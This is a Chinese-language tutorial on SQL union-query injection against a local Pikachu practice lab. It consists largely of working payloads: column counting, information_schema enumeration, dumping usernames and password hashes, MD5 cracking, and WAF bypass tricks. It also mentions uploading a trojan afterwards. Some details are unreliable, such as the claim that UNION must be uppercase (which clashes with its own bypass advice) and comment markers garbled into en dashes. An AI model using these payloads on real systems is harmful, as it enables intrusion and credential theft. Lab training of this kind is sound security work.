云计算百科
云计算领域专业知识百科平台

SQL 联合查询注入

一、SQL 联合查询注入 详细解题步骤

核心前提
  • 目标:通过联合查询注入获取数据库敏感数据(库名、表名、列名、账号密码)
  • 适用场景:页面有数据回显位(查询结果能在前端显示)、可通过报错或布尔语句确认注入点
  • 核心依赖:MySQL 的information_schema系统库(存储所有数据库元数据)

二、完整解题步骤(分 8 个阶段)

阶段 1:环境准备与工具配置
步骤 1.1:搭建本地测试环境
  • 安装 PHPStudy,启动 Apache+MySQL 服务
  • 导入皮卡丘靶场(或自定义测试数据库),确保靶场可正常访问(如http://127.0.0.1/pikachu/sqli/union.php)
步骤 1.2:配置抓包工具(火狐 + BP 插件)
  • 安装火狐浏览器,添加 BP(Burp Suite)代理插件
  • 插件配置:
    • 代理名称:自定义(如 “SQL 注入测试”)
    • 代理 IP:127.0.0.1(本地回环地址)
    • 端口:8080(与 BP 监听端口一致)
  • 启用插件:在火狐 “代理” 选项中选择配置好的 BP 代理,确保抓包正常
  • 注意事项
    • 插件安装失败时,直接将插件文件拖入火狐浏览器即可,无需手动配置路径
    • 确保 BP 已启动,且监听端口与插件配置一致(默认 8080),否则无法抓包

    阶段 2:注入点检测与注入类型判断
    步骤 2.1:寻找注入点
    • 目标 URL:假设为http://127.0.0.1/pikachu/sqli/union.php?id=1(参数id为疑似注入点)
    • 测试逻辑:所有用户可输入数据的位置(URL 参数、表单、Cookie 等)都可能是注入点,优先测试 URL 参数
    步骤 2.2:判断注入类型(字符型 / 数字型)

    表格

    测试方法Payload预期结果结论
    单引号报错法 ?id=1' 页面报错,提示 “单引号不匹配”(如You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1) 字符型注入(参数被单引号包裹)
    单引号报错法 ?id=1' 页面无报错,仅显示 “查询失败” 数字型注入(参数无引号包裹)
    布尔语句验证 字符型:?id=1' and 1=1 –+ 页面正常显示(查询成功) 确认字符型注入
    布尔语句验证 数字型:?id=1 and 1=2 页面显示 “查询失败” 确认数字型注入
    注意事项
    • 字符型注入必须用–+闭合后续语句(+在 URL 中编码为空格,–为 SQL 注释符),不可用#(#在 URL 中是片段 ID 标识,数据库无法识别)
    • 若页面无报错,可通过and 1=1/and 1=2的布尔结果判断注入点是否存在(正常显示 / 查询失败则存在注入)

    阶段 3:判断原始查询语句的列数(关键步骤)
    核心目的:联合查询要求UNION前后的SELECT语句列数一致,需先确定原始查询的列数
    步骤 3.1:使用ORDER BY判断列数(高效)
    • Payload 格式(字符型):?id=1' order by N –+
    • Payload 格式(数字型):?id=1 order by N
    • 测试逻辑(二分法):
    • 先试order by 10 → 页面报错(无第 10 列)
    • 试order by 5 → 页面报错(无第 5 列)
    • 试order by 3 → 页面正常(有第 3 列)
    • 试order by 4 → 页面报错(无第 4 列)
    • 结论:原始查询列数为 3
    步骤 3.2:备用方法(UNION SELECT逐个尝试)
    • 字符型 Payload:?id=1' union select 1 –+ → 报错(列数不匹配)
    • 字符型 Payload:?id=1' union select 1,2 –+ → 报错(列数不匹配)
    • 字符型 Payload:?id=1' union select 1,2,3 –+ → 正常显示(列数匹配)
    注意事项
    • ORDER BY N中N代表 “按第 N 列排序”,超过实际列数则报错,是判断列数的最优方法
    • 若列数较多(如 20 列),优先用二分法,避免逐个尝试浪费时间
    • 字符型注入必须带–+注释,否则会因语法错误导致判断失效

    阶段 4:使原始查询结果为空(控制回显)
    核心目的:让原始查询无结果,使UNION后的自定义查询结果在前端显示
    步骤 4.1:构造空结果 Payload
    • 字符型:?id=1' and 1=2 union select 1,2,3 –+(and 1=2使原始查询为空)
    • 数字型:?id=-1 union select 1,2,3(id=-1为不存在的值,原始查询为空)
    注意事项
    • 必须确保原始查询无结果,否则自定义查询结果会被原始结果覆盖,无法看到回显
    • 除了and 1=2和负 ID,还可使用随机不存在的值(如id=9999)

    阶段 5:判断数据回显位
    核心目的:确定UNION SELECT中哪些列的结果会在前端显示(回显位)
    步骤 5.1:构造回显测试 Payload
    • 字符型:?id=1' and 1=2 union select 1,2,3 –+
    • 页面显示结果:假设页面显示 “2” 和 “3”,不显示 “1”
    • 结论:第 2 列和第 3 列是回显位(后续查询需将目标数据放在这两列)
    注意事项
    • 回显位可能是 1 个或多个,需通过数字占位明确判断
    • 若所有列都不回显,说明联合查询不适用,需换报错注入或盲注

    阶段 6:分层获取数据库元数据(库名→表名→列名)
    核心依赖:information_schema系统库的 3 张核心表

    表格

    系统表名核心字段功能
    SCHEMATA SCHEMA_NAME 存储所有数据库名
    TABLES TABLE_SCHEMA(库名)、TABLE_NAME(表名) 存储所有数据表名(与库名关联)
    COLUMNS TABLE_SCHEMA(库名)、TABLE_NAME(表名)、COLUMN_NAME(列名) 存储所有字段名(与库名、表名关联)
    步骤 6.1:获取当前数据库名
    • 字符型 Payload(利用回显位 2 和 3):

      plaintext

      ?id=1' and 1=2 union select 1,database(),version() –+

    • 预期结果:页面显示当前数据库名(如pikachu)和数据库版本(如5.5.3)
    步骤 6.2:获取目标数据库的表名
    • 需求:获取pikachu数据库下的所有表名
    • 方法 1:逐个获取(LIMIT分页)

      plaintext

      ?id=1' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),3 –+

      • limit 0,1:获取第 1 个表名(如user)
      • limit 1,1:获取第 2 个表名(如member)
      • limit 2,1:获取第 3 个表名(如flag)
    • 方法 2:批量获取(group_concat连接)

      plaintext

      ?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),3 –+

      • 预期结果:页面显示所有表名(如user,member,flag)
    步骤 6.3:获取目标表的列名
    • 需求:获取pikachu数据库下user表的所有列名
    • 方法 1:逐个获取

      plaintext

      ?id=1' and 1=2 union select 1,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='user' limit 0,1),3 –+

      • limit 0,1:第 1 列(id)
      • limit 1,1:第 2 列(username)
      • limit 2,1:第 3 列(password)
    • 方法 2:批量获取

      plaintext

      ?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='user'),3 –+

      • 预期结果:页面显示id,username,password,level
    注意事项
    • 若目标表名 / 库名包含特殊字符,或被单引号过滤,可将名称转换为 16 进制(如pikachu→0x70696B61636875),Payload 示例:

      plaintext

      ?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875),3 –+

    • 16 进制转换可通过 “小葵多功能转换工具” 实现,无需手动计算

    阶段 7:获取敏感数据(账号密码)
    步骤 7.1:获取目标列的具体数据
    • 需求:获取user表中username和password字段的数据
    • 方法 1:逐个获取(LIMIT分页)

      plaintext

      ?id=1' and 1=2 union select 1,username,password from pikachu.user limit 0,1 –+

      • 预期结果:页面显示admin和e10adc3949ba59abbe56e057f20f883e(MD5 加密后的密码)
    • 方法 2:批量获取(group_concat)

      plaintext

      ?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from pikachu.user –+

      • 预期结果:页面显示admin,pikachu,test和e10adc3949ba59abbe56e057f20f883e,123456,test123
    步骤 7.2:密码解密(MD5)
    • 访问 MD5 在线解密网站(如https://www.cmd5.com/)
    • 输入加密密码(如e10adc3949ba59abbe56e057f20f883e),解密得到明文123456
    注意事项
    • 若密码是强加密(如 SHA256),免费在线工具可能无法解密,需使用字典爆破
    • 批量获取时,若数据过多导致页面显示不全,可拆分查询(如按id分段)

    阶段 8:注入完成与后续操作
    • 核心成果:获取数据库名、表名、列名、管理员账号密码(如admin/123456)
    • 后续操作:可登录后台管理系统,或进一步执行数据库增删改查、上传木马等操作(仅用于合法渗透测试)

    三、关键注意事项(避坑指南)

    1. 语法与编码类
    • URL 中特殊字符需编码:空格→%20、单引号→%27(若直接输入报错,可尝试编码)
    • 字符型注入必须闭合单引号 + 注释后续语句,否则语法错误(如?id=1' and 1=1 –+,不可省略–+)
    • UNION关键字必须大写(部分数据库对大小写敏感,小写可能失效)
    2. 环境与工具类
    • 确保靶场数据库权限足够:information_schema库需有查询权限,否则无法获取元数据
    • 抓包时若页面无响应,检查代理配置是否正确,或靶场是否正常运行
    • 测试前备份靶场数据,避免注入过程中误删数据
    3. 绕过防护类
    • 若order by被过滤,可使用GROUP BY替代(功能一致,部分 WAF 未拦截)
    • 若union被过滤,可尝试大小写混合(如UNIOn)或插入注释(如UNI/**/ON)
    • 若单引号被过滤,优先使用 16 进制转换表名 / 库名,或换数字型注入
    4. 法律与合规类
    • 仅对授权目标进行渗透测试,未授权测试属于非法行为,需承担法律责任
    • 获取的敏感数据不得泄露或用于非法用途,测试完成后需删除测试数据

    四、常见问题排查

    表格

    问题现象可能原因解决方案
    注入 Payload 执行后页面无变化 注入点判断错误 换其他参数测试,或用and sleep(5)测试时间盲注
    UNION SELECT报错 “列数不匹配” 列数判断错误 重新用order by确认列数,确保前后列数一致
    回显位不显示目标数据 数据放在非回显列 将查询语句放在已确认的回显位(如第 2、3 列)
    information_schema查询无结果 数据库权限不足 换当前数据库下的其他表测试,或提升权限

    通过以上步骤,可完整实现联合查询注入,高效获取数据库敏感数据。关键在于严格遵循 “注入点检测→列数判断→回显位确认→分层获取数据” 的逻辑,同时注意语法闭合和绕过防护,避免踩坑。

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » SQL 联合查询注入
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!